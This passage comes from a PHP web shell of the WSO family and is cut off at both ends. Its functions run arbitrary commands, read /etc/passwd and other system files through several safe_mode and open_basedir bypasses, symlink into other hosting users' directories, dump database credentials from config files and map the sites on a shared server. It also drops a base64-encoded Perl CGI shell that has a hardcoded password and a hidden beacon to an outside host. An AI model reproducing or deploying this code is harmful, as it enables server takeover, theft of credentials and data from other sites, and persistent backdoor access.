elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\d\w\W\D\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;}
else{return $requ."?".$link."=".$val;}}
function delm($delmtxt){print"<center><table bgcolor=black style='border:1px solid #008080' width=99% height=2%>";print"<tr><td><b><center><font size=2 color=#008080>$delmtxt</td></tr></table></center>";}
function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd);
$nscmd=htmlspecialchars($scmd);print $nscmd;}
elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd);
$ecmd = join("
",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;}
elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r");
while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));;
print $res;}pclose($pcmd);}elseif(!function_exists(popen)){
ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){
ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean();
print htmlspecialchars($pret);}}
function input($type,$name,$value,$size)
{if (empty($value)){print "<input type=$type name=$name size=$size>";}
elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";}
elseif(empty($size)){print "<input type=$type name=$name value=$value >";}
else {print "<input type=$type name=$name value=$value size=$size >";}}
function permcol($path){if (is_writable($path)){print "<font color=#008080>";
callperms($path); print "</font>";}
elseif (!is_readable($path)&&!is_writable($path)){print "<font color=red>";
callperms($path); print "</font>";}
else {print "<font color=white>";callperms($path);}}
if ($dlink=="dwld"){download($_REQUEST['dwld']);}
function download($dwfile) {$size = filesize($dwfile);
@header("Content-Type: application/force-download;name=$dwfile");
@header("Content-Transfer-Encoding: binary");
@header("Content-Length: $size");
@header("Content-Disposition: attachment; filename=$dwfile");
@header("Expires: 0");
@header("Cache-Control: no-cache, must-revalidate");
@header("Pragma: no-cache");
@readfile($dwfile); exit;}
?>
<?
$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();
$sf="<form method=post>";$ef="</form>";
$st="<table style=\"border:1px #dadada solid \" width=100% height=100%>";
$et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">";
$c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>";
$sta="<textarea cols=157 rows=23>";$eta="</textarea>";
$sfnt="<font face=tahoma size=2 color=#008080>";$efnt="</font>";
///////////////////////////////
//
$mysql_use = "no"; //"yes" //
$mhost = "localhost"; //
$muser = "root"; //
$mpass = "pass"; //
$mdb = "name"; //
$them = "xxx"; //any site //
$you = "xx"; //your username //
$flib = "hack15.txt"; //
$folder = "hack15.txt"; //
///////////////////////////////
################# PhP Hacked ########################
// read greet //
if ($linux=='greet')
{
echo "</textarea>";
}
// read file unzend sorce //
if(empty($_POST['sorce'])){
} else {
}
// read file unzend functions //
if(empty($_POST['func'])){
} else {
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
$zeen=$_POST['func'];
require("$zeen");
echo "Database : ".$config['Database']['dbname']." <X> ";
echo "UserName : ".$config['MasterServer']['username']." <X> ";
echo "Password : ".$config['MasterServer']['password']." <X> ";
echo "</textarea></p>";
}// read file symlink ( ) //
if(empty($_POST['sym'])){
} else {
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
$fp = fopen("hack15.txt","w+");
fwrite($fp,"Php Hacker Was Here");
@unlink($flib);
$sym = "/home/" . $them . "/public_html/" . $k;
$link = "/home/" . $you . "/public_html/" . $folder . "/" . $flib;
@symlink($sym, $link);
if ($k{0} == "/") {
echo "<script> window.location = '" . $flib . "'</script>";
}else{
echo "<pre><xmp>";
echo readlink($flib) . "
";
echo "Filesize: " . linkinfo($flib) . "B
";
echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/" . $folder . "/" . $flib);
echo "</textarea>";
}
}
// read file plugin ( ) //
if(empty($_POST['plugin'])){
} else {
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "
";
}
}
echo "</textarea>";
}
// read file id ( ) //
if ($_POST['rid'] ){
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "
";
}
}
echo "</textarea>";
break;
}
// read file imap ( ) //
$string = !empty($_POST['rimap']) ? $_POST['rimap'] : 0;
if(empty($_POST['rimap'])){
} else {
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
$stream = imap_open($string, "", "");
$str = imap_body($stream, 1);
echo "</textarea>";
}
// read file Curl ( ) //
if(empty($_POST['curl'])){
} else {
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
$m=$_POST['curl'];
$ch =
curl_init("file:///".$m."/../../../../../../../../../../../../".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
echo "</textarea>";
}
// read file SQL ( ) //
if(empty($_POST['ssql'])){
} else {
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
$file=$_POST['ssql'];
$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
$mysql_files = explode(':', $mysql_files_str);
$sql = array (
"USE $mdb",
'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
"LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
. "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
. "ESCAPED BY '' "
. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
"SELECT a FROM $tbl LIMIT 1"
);
mysql_connect ($mhost, $muser, $mpass);
foreach ($sql as $statement) {
$q = mysql_query ($statement);
if ($q == false) die (
"FAILED: " . $statement . "
" .
"REASON: " . mysql_error () . "
"
);
if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
echo htmlspecialchars($r[0]);
mysql_free_result ($q);
}
echo "</textarea>";
}
// read file copy & ini ( ) //
if (isset ($_REQUEST['safefile'])){
$file=$_REQUEST['safefile'];$tymczas="";if(empty($file)){
if(empty($_GET['file'])){if(empty($_POST['file'])){
print "<center>[ Please choose a file first to read it using copy() ]</center>";
} else {$file=$_POST['file'];}} else {$file=$_GET['file'];}}
$temp=tempnam($tymczas, "cx");if(copy("compress.zlib://".$file, $temp)){
$zrodlo = fopen($temp, "r");$tekst = fread($zrodlo, filesize($temp));
fclose($zrodlo);echo "<center><pre>".$sta.htmlspecialchars($tekst).$eta."</pre></center>";unlink($temp);} else {
print "<FONT COLOR=\"RED\"><CENTER>Sorry, Can't read the selected file !!
</CENTER></FONT><br>";}}if (isset ($_REQUEST['inifile'])){
ini_restore("safe_mode");ini_restore("open_basedir");
print "<center><pre>".$sta;
if (include(htmlspecialchars($_REQUEST['inifile']))){}else {print "Sorry, can't read the selected file !!";}
}
?>
</center><table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr><td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%>
<tr><td height=22% style="border:1px #dadada solid "><div><b>
<center>
Using copy() function</div></tr></td><tr>
<td style="border:1px #dadada solid "><form method=post>
<input type=text name=safefile value=/etc/passwd size=75 >
<input type=hidden name=scdir value=/etc/passwd >
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr>
<td height=22% style="border:1px #dadada solid "><div><b><center>
Using ini_restore() function</div></tr></td><tr>
<td style="border:1px #dadada solid "><form method=post>
<input type=text name=inifile value=/etc/passwd size=75 >
<input type=hidden name=scdir value=/etc/passwd >
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
</center></tr></td></form></table></td></tr></table><table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr>
<td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
Using sql() function</div></tr></td><tr>
<td style="border:1px #dadada solid "><form method=post>
<input type=text name=ssql value=/etc/passwd size=75 >
<input type=hidden name=scdir value=/etc/passwd >
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
Using Curl() function</div></tr></td><tr>
<td style="border:1px #dadada solid "><form method=post>
<input type=text name=curl value=/etc/passwd size=75 >
<input type=hidden name=scdir value=/etc/passwd >
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
</center></tr></td></form></table></td></tr></table>
<table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr><td width=50%><div align=left>
<table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
Using imap() function</div></tr></td><tr>
<td style="border:1px #dadada solid "><form method=post>
<input type=text name=rimap value=/etc/passwd size=75 >
<input type=hidden name=scdir value=/etc/passwd >
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
</center></tr></td></form></table></td>
<td height=20% width=50%><div align=right>
<table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
Using id() function</div></tr></td><tr>
<td style="border:1px #dadada solid "><form method=post>
<input type=text name=rid value=/etc/passwd size=75 >
<input type=hidden name=scdir value=/etc/passwd >
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
</center></tr></td></form></table></td></tr></table><table bgcolor=#2A2A2A style="border:2px solid black" width=100%>
<tr><td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
Using plugin() function</div></tr></td><tr>
<td style="border:1px #dadada solid "><form method=post>
<input type=text name=plugin value=/etc/passwd size=75 >
<input type=hidden name=scdir value=/etc/passwd >
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr>
<td height=22% style="border:1px #dadada solid "><div><b><center>
Using symlink() function</div></tr></td><tr>
<td style="border:1px #dadada solid "><form method=post>
<input type=text name=sym value=/etc/passwd size=75 >
<input type=hidden name=scdir value=/etc/passwd >
<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
</center></tr></td></form></table></td></tr></table>
<?php
wsoFooter(); }
####################### symlinker #########################
function actionsymlinker() {
wsoHeader();
echo'
<center>
<a href=# onclick="g(\'sym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Symlink File ]</a><br><br>
<a href=# onclick="g(\'symserver\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Symlink Server From Named.conf ]</a><br><br>
<a href=# onclick="g(\'cms\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ CMS Detector ]</a><br>
';
wsoFooter();}
####################### CMS #########################
function actioncms() {
wsoHeader();
?>
<form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post">
<center><b><h1>CMS Detector</h1></b></center><br><br>
<?php
if(!file_exists('pee.tmp')){
@fopen('pee.tmp', 'w');
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>[ Web Site ]</b></center></td><td><center><b>[ User ]</b></center></td><td><center><b>[ CMS ]</b></center></td></table>';
$p = 0;
if(is_readable("/var/named")){
$list = scandir("/var/named");
$current_dir = posix_getcwd();
$dir = explode("/",$current_dir);
foreach($list as $domain){
if(strpos($domain,".db"))
{
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
error_reporting(0);
$link = $pageURL.'pee/'.$owner['name'];
cms_add($link,$domain,$owner['name'],"WordPress");
cms_add($link,$domain,$owner['name'],"Joomla");
cms_add($link,$domain,$owner['name'],"vBulletin");
cms_add($link,$domain,$owner['name'],"WHMCS");
cms_add($link,$domain,$owner['name'],"PhpBB");
cms_add($link,$domain,$owner['name'],"MyBB");
cms_add($link,$domain,$owner['name'],"IPB");
cms_add($link,$domain,$owner['name'],"SMF");
cms_add($link,$domain,$owner['name'],"Drupal");
cms_add($link,$domain,$owner['name'],"e107");
cms_add($link,$domain,$owner['name'],"Seditio");
cms_add($link,$domain,$owner['name'],"osCommerce");
}
}
}
}else{
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>[ Web Site ]</b></center></td><td><center><b>[ User ]</b></center></td><td><center><b>[ CMS ]</b></center></td></table><br><br>';
$content = file_get_contents($pageURL.'pee.tmp');
echo $content;
}
wsoFooter();}
##################### CGI SHELL ####################
function actioncgi() {
wsoHeader();
echo '<center><h1>Sample CGI Perl Shell</h1><div class=content>';
echo '<center><h2>Password : jijle3</h2><div class=content>';
mkdir('cgi-telnet', 0755);
chdir('cgi-telnet');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cin
AddHandler cgi-script .cin
AddHandler cgi-script .cin";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgishellizocin = '
IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5bIFNhbXBsZSBDR0kgU2hlbGwgXS9iPiAjIHNlcnZlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENvbmZpZ3VyYXRpb246IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXINCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiRQYXNzd29yZCA9ICJqaWpsZTMiOwkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+Q0dJIFNoZWxsPC90aXRsZT4NCiRIdG1sTWV0YUhlYWRlcg0KDQoNCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0KPHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrIj5DR0kgU2hlbGw8L2I+IENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0ZGRkZGRiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlVwbG9hZCBGaWxlPC9mb250PjwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RG93bmxvYWQgRmlsZTwvZm9udD48L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRpc2Nvbm5lY3Q8L2ZvbnQ+PC9hPiB8DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgc2l6ZT0iMyI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPC9mb250PjxoMT4NCkNHSSBTaGVsIH4gSmlqbGUzDQo8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxuZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCjwvY